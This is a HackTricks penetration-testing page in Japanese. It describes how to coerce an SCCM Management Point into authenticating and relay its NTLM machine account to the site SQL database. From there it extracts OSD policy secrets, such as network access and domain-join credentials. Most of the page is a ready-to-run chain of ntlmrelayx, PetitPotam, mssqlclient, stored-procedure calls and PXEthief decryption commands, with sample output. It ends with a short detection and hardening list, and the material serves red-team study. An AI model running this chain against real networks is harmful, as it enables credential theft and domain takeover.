SCCM Management Point NTLM Relay to SQL – OSDポリシーシークレット抽出

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

TL;DR

**System Center Configuration Manager (SCCM) Management Point (MP)をSMB/RPC経由で認証させ、そのNTLMマシンアカウントをサイトデータベース (MSSQL)**にリレーすることで、smsdbrole_MP / smsdbrole_MPUserSvc権限を取得します。これらのロールを使用すると、**Operating System Deployment (OSD)**ポリシーブロブ(ネットワークアクセスアカウントの資格情報、タスクシーケンス変数など)を公開する一連のストアドプロシージャを呼び出すことができます。ブロブは16進数でエンコード/暗号化されていますが、PXEthiefを使用してデコードおよび復号化でき、平文のシークレットが得られます。

高レベルのチェーン:

  1. MP & サイトDBを発見 ↦ 認証されていないHTTPエンドポイント /SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA
  2. ntlmrelayx.py -t mssql://<SiteDB> -ts -socksを開始します。
  3. PetitPotam、PrinterBug、DFSCoerceなどを使用してMPを強制します。
  4. SOCKSプロキシを介して、リレーされた**\$**アカウントとしてmssqlclient.py -windows-authで接続します。
  5. 実行:
  • use CM_<SiteCode>
  • exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''
  • exec MP_GetPolicyBody N'<PolicyID>',N'<Version>' (またはMP_GetPolicyBodyAfterAuthorization
  1. 0xFFFE BOMを削除し、xxd -r -p → XML → python3 pxethief.py 7 <hex>

OSDJoinAccount/OSDJoinPasswordNetworkAccessUsername/Passwordなどのシークレットは、PXEやクライアントに触れることなく回収されます。


1. 認証されていないMPエンドポイントの列挙

MP ISAPI拡張機能GetAuth.dllは、認証を必要としないいくつかのパラメータを公開しています(サイトがPKI専用でない限り):

パラメータ目的
MPKEYINFORMATIONMEDIAサイト署名証明書の公開鍵 + x86 / x64 すべての不明なコンピュータデバイスのGUIDを返します。
MPLISTサイト内のすべてのManagement-Pointをリストします。
SITESIGNCERTプライマリサイト署名証明書を返します(LDAPなしでサイトサーバーを特定)。

後のDBクエリのためのclientIDとして機能するGUIDを取得します:

bash
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -

2. MPマシンアカウントをMSSQLにリレーする

bash
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support

# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10

強制が発生すると、次のようなものが表示されるはずです:

[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)

3. ストアドプロシージャを介してOSDポリシーを特定する

SOCKSプロキシ(デフォルトでポート1080)を介して接続します:

bash
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth

CM_ DBに切り替えます(3桁のサイトコードを使用します。例:CM_001)。

3.1 不明なコンピュータのGUIDを見つける(オプション)

sql
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86

3.2 割り当てられたポリシーのリスト

sql
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';

各行には PolicyAssignmentIDBody (16進数)、PolicyIDPolicyVersion が含まれています。

ポリシーに焦点を当てます:

  • NAAConfig – ネットワークアクセスアカウントの資格情報
  • TS_Sequence – タスクシーケンス変数 (OSDJoinAccount/Password)
  • CollectionSettings – 実行アカウントを含むことができます

3.3 完全なボディを取得する

PolicyIDPolicyVersion が既にある場合は、次のようにして clientID の要件をスキップできます:

sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';

重要: SSMSで「最大取得文字数」を増やす(>65535)と、blobが切り捨てられます。


4. blobをデコードおよび復号化する

bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml

# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)

回復された秘密の例:

OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123

5. 関連するSQLロールと手続き

リレー時にログインは次のようにマッピングされます:

  • smsdbrole_MP
  • smsdbrole_MPUserSvc

これらのロールは数十のEXEC権限を公開しており、この攻撃で使用される主要なものは次のとおりです:

ストアドプロシージャ目的
MP_GetMachinePolicyAssignmentsclientIDに適用されるポリシーのリスト。
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization完全なポリシー本体を返します。
MP_GetListOfMPsInSiteOSDMPKEYINFORMATIONMEDIAパスによって返されます。

完全なリストを確認するには:

sql
SELECT pr.name
FROM   sys.database_principals AS dp
JOIN   sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN   sys.objects AS pr ON pr.object_id = pe.major_id
WHERE  dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND  pe.permission_name='EXECUTE';

6. 検出と強化

  1. MPログインの監視 – ホストではないIPからログインしているMPコンピュータアカウントは≈リレー。
  2. サイトデータベースで**認証のための拡張保護 (EPA)**を有効にする(PREVENT-14)。
  3. 未使用のNTLMを無効にし、SMB署名を強制し、RPCを制限する(PetitPotam/PrinterBugに対して使用される同じ緩和策)。
  4. IPSec / 相互TLSでMP ↔ DB通信を強化する。

参照

  • NTLMリレーの基本:

NTLM

  • MSSQLの悪用とポストエクスプロイト:

MSSQL AD Abuse

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする